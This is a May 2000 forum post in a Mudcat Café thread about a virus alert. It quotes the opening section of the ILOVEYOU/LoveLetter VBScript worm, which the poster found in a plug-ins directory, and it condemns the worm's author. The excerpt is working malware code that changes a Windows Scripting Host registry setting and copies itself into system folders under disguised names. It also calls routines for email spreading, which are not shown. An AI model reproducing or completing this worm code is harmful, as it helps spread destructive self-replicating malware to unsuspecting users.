The Mudcat Café TM
Thread #21088   Message #223261
Posted By: Amos
04-May-00 - 08:56 PM
Thread Name: Tech: Despicable Virus Alert
Subject: RE: Tech: Despicable Virus Alert
I thought those of you who have watched this catastrophe unfold in our global underbelly might like to see what the first part of the file that caused all this looked like. I found it tucked away in a plug-ins directory. But it seems very certain this is the code that was plundering the time of hard working people all over the planet, and as you can see it seems to have been written by a person who is constrained to go to school. In other words another of the antisocial juvenile class which we have all come to know and ... love:

FILE EXCERPT STARTS HERE=====

rem  barok -loveletter(vbe) <i hate go to school>
rem    by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub ==FILE EXCERPT ENDS HERE

A.